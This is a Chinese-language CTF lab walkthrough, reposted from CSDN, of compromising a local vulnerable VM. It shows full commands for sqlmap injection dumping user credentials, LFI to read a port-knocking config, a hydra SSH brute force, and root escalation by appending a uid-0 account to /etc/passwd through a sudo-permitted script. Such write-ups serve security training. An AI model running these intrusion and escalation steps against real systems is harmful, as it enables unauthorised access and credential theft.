一、信息收集
首先用netdiscover确定靶机IP:
确定靶机IP为:192.168.1.109后开始扫描它的端口开放情况:
namp -sV -A -p 0-65535 1192.168.1.109
发现它只开放了22和80端口,发现ssh服务被过滤掉了,这就使我们用不了ssh服务,先不管它。然后先访问一下80端口:
是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但是它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" --dbs
的确存在着注入漏洞,发现有个users库,先把它爆出来看看会有什么东西:
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" -D users --tables
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" -D users -T UserDetails --dump
这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个员工库看看会有什么东西:
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" -D Staff --tables
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" -D Staff -T StaffDetails --dump
sqlmap -u "http://192.168.1.109/results.php" --data "search=1" -D Staff -T Users --dump
爆出一个admin账户,这个密码用sqlmap自带的字典就可以解出来,然后使用这个用户去登录:
二、枚举
可以看见它多了一个Add Record选项,并无什么有用的东西,再看它下面的那句话:File does not exist ,它说文件不存在,这里就很可以了,随即联想到这里是不是存在LFI(本地文件包含)漏洞呢?然后尝试一下:
发现果然存在LFI,但是做到这里的时候就卡住了,不知该如何进行下去,然后参考其他大佬的文章才晓得这里用的是端口敲门:
原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf
所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:
方框里就是它自定义的端口号。
三、ssh连接
知道端口号后,然后进行敲门,使用nmap即可:
nmap -p 7469 192.168.1.109
nmap -p 8475 192.168.1.109
nmap -p 9842 192.168.1.109
然后再用namp看一下靶机的ssh服务是否可以正常利用:
nmap -p22 192.168.1.109
可以看见,ssh服务已经可以利用了,但是需要登录凭证,然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破:
hydra -L user.txt -P password.txt 192.168.1.109 ssh
爆破出来有3个用户可用,其中有个管理员用户,我们就先选用这个janitor用户登录:
ssh janitor@192.168.1.109
登录进来以后先查看一下这个用户下都有什么东西:
经过cd目录遍历后发现只有.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是其他用户的密码,然后把这些密码再加进刚刚我们编写的字典中重新再爆破一次看看:
果然爆出来fredf用户的密码,登录进去看看:
四、提权
先看看这个用户能用sudo执行哪些命令:
sudo -l
在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序:
找到了一个test.py文件,打开看看:
是一个python脚本。既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。
回到kali使用openssl工具先创建一个本地的加密用户:
openssl passwd -1 -salt admin 111111
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐:
然后回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义),再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa
sudo ./test /tmp/aaa /etc/passwd
su admin
cd /root
cat theflag.txt
来源:CSDN
作者:Long_gone
链接:https://blog.csdn.net/Long_gone/article/details/104049869